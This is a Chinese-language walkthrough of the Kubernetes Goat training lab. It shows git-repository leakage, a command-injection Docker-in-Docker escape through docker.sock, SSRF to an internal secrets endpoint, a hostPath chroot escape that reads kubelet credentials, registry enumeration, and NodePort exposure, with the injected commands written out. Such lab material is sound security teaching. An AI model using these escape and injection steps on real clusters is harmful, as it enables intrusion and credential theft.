通過Kuberneters Goat學習K8S安全(上)
實驗環境:
https://katacoda.com/madhuakula/scenarios/kubernetes-goat
0x1、敏感信息泄露利用
第一關是代碼泄露利用,打開網站后顯示:

告訴我們這是一個代碼構建服務。
我們可以測試是否存在git泄露

可以訪問到git的配置文件,然后可以嘗試從網站轉儲 git 存儲庫
這里使用的工具是git-dumper:https://github.com/arthaud/git-dumper
用法如下:
git-dumper http://website.com/.git ~/website

它會自動遍歷路徑和獲取代碼。
等待獲取完成,然后查看獲取的倉庫內容:

使用git log可以查看代碼提交的日志記錄:

然后可以使用git checkout 檢出特定的提交,比如有一個包含環境變量的提交,檢出來看看,說不定有敏感的信息:

查看.env文件:

還可以用另外一個工具trufflehog 對.git目錄進行分析:

產生漏洞的原因:開發人員提交代碼的時候,將敏感信息也提交進去了。
0x2、Docker in Docker 利用
第二關是DIND (docker-in-docker) exploitation
描述:大多數使用Docker并在管道構建容器的CI/CD和管道系統都使用稱為DIND(docker-in-docker)的東西。簡單來說就是在Docker容器中調用和執行宿主機的Docker。在此場景中,我們嘗試利用并獲得對宿主機系統的訪問權限。
訪問后的頁面內容:

看起來像是存在命令注入漏洞,我們測試一下:

果不其然。
如果要利用docker in docker 進行逃逸,前提是在docker容器運行的時候把docker.sock套接字文件一并掛載到了容器中。當我們拿到容器權限又存在掛載的docker.sock套接字文件,我們就可以通過 Docker Socket與宿主機的Docker 服務進行通信,我們可以通過它創建新的容器,并把宿主機的目錄掛載到新創建的容器中,這樣我們就能訪問宿主機的資源了。
查看是否存在docker.sock掛載

然后我們下載一個docker可執行程序,注入如下命令:
;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz

解壓縮:
;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/

然后就可以利用docker.sock來訪問宿主機系統并在宿主機上執行docker命令
;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps

;/tmp/docker/docker -H unix:///custom/docker/docker.sock images

0x3 SSRF漏洞
第三關是SSRF in K8S world
場景描述:SSRF(服務器端請求偽造)漏洞是云原生環境的首選攻擊方式。在此場景中,我們將學習如何利用應用程序中存在的SSRF漏洞的來訪問云實例元數據以及內部服務元數據信息。
訪問應用頁面:

這應該是一個內部API代理服務
我們嘗試一下訪問內部的服務,比如容器服務

可以看到內部有一個http://metadata-db服務,訪問看看

可以看到有一個latest的路徑,我們繼續訪問http://metadata-db/latest/

可以發現好幾個路徑,通過枚舉嘗試,最終在http://metadata-db/latest/secrets/kubernetes-goat中發現了關鍵信息:

看起來像Base64編碼的字符串,解密看看:

0x4 容器逃逸到宿主系統(敏感目錄掛載)
訪問這一關的頁面

是一個Linux shell 環境
場景描述
大多數監控、跟蹤和調試軟件需要以額外的權限和功能運行。在這個場景中,我們看到一個具有額外功能和權限(甚至包含HostPath)的Pod,它允許我們訪問宿主機系統并提供節點級配置,這樣會帶來可以獲取整個集群控制權限的危害。
查看當前環境的基本信息

可以發現當前用戶權限是root,系統是運行在docker 容器中。
查看掛載信息:

可以看到一個host-system的掛載,像是直接掛載的宿主機分區。查看里面的內容:

看起來像是把宿主機完整的系統都掛載進來了。
那么我們可以用chroot切換到宿主機的目錄,獲取對宿主機系統的權限訪問
chroot /host-system bash

我們使用docker ps 查看宿主機運行的容器

我們的目的是控制整個Kubernetes集群,查看Kubernets節點級配置文件:
cat /etc/kubernetes/kubelet.conf

然后我們可以利用配置文件獲取集群內的所有資源
kubectl --kubeconfig /etc/kubernetes/kubelet.conf get all -n kube-system

0x5 Docker CIS 安全基線分析
場景描述
該場景主要是在 Kubernetes 節點之上進行 Docker CIS 基準分析,以識別可能存在的安全漏洞。
首先需要部署docker bench security將它啟動為DaemonSet
kubectl apply -f scenarios/docker-bench-security/deployment.yaml

訪問docker-bench-security-xxxxx pod 并執行Docker CIS基線測試腳本。

controlplane $ kubectl exec -it docker-bench-security-5cq2h -- sh ~ # cd docker-bench-security/ ~/docker-bench-security # ./docker-bench-security.sh
如果有多個節點,就依次進入并執行。


然后,可以根據 Docker CIS 安全基線測試中看到的漏洞進行進一步的利用或修復。
0x6 Kubernetes CIS 安全基線分析
場景描述
本場景主要是在Kubernetes節點之上進行Kubernetes CIS基線分析,識別可能存在的安全漏洞。
首先,我們在節點上部署kube-bench security為Kubernetes job
controlplane $ kubectl apply -f scenarios/kube-bench-security/node-job.yaml job.batch/kube-bench-node created controlplane $ kubectl apply -f scenarios/kube-bench-security/master-job.yaml job.batch/kube-bench-master created controlplane $

然后獲取pod信息和查看jobs列表

查看kube-bench-node-xxxxx pod 的日志

然后,可以根據 Kubernetes CIS 安全基線測試中看到的漏洞進行進一步的利用。
0x7 攻擊私有倉庫
場景描述
容器倉庫是存儲所有容器鏡像的地方。大多數情況下,每個組織都有自己的私有倉庫。有時候會因為配置錯誤,導致倉庫處于公共/開放狀態。另一方面來說,開發人員因為使用內部私有倉庫,可能會在在容器鏡像中存儲一些敏感信息。
因為這里已經設置好了私有倉庫的端口,我們直接訪問即可,如果是實際的安全測試中,需要進行掃描或者信息收集來確定私有倉庫的地址和端口。
https://2886795289-1235-simba09b.environments.katacoda.com/v2/

我們可以用一些API來測試訪問倉庫的信息
API文檔參考:https://docs.docker.com/registry/spec/api/https://2886795289-1235-simba09b.environments.katacoda.com/v2/_catalog //列出存儲庫

查看具體的倉庫信息:
https://2886795289-1235-simba09b.environments.katacoda.com/v2/madhuakula/k8s-goat-users-repo/manifests/latest

經過審計,可以看到 docker 鏡像信息中有 API 密鑰信息和 ENV 變量等敏感信息泄露。

然后可以更進一步通過docker pull 將鏡像下載到本地并進行分析。另外在某些情況下,甚至可以根據權限和特權將惡意的鏡像推送到倉庫。
0x8 NodePort 暴露風險
場景描述
NodePort是Kubernetes的三種外部訪問方式之一。NodePort 服務是接通外部網絡到你的服務的最原始方式。是指在所有節點上開放一個特定端口,任何發送到該端口的流量都被轉發到對應服務。
如果用戶使用 NodePort 暴露了 Kubernetes 集群內的任何服務,這意味著如果運行 Kubernetes 集群的節點沒有啟用任何防火墻/網絡安全策略。一些未經身份驗證和未經授權的服務會被暴露和利用。
獲取Kubernetes節點外部IP地址列表,因為這里是實驗測試環境的原因,所以 EXTERNAL-IP顯示為
kubectl get nodes -o wide

默認情況下,NodePort的端口范圍是30000-32767。可以使用Nmap等掃描工具進行掃描和服務識別。


訪問對應的端口查看暴露的服務信息
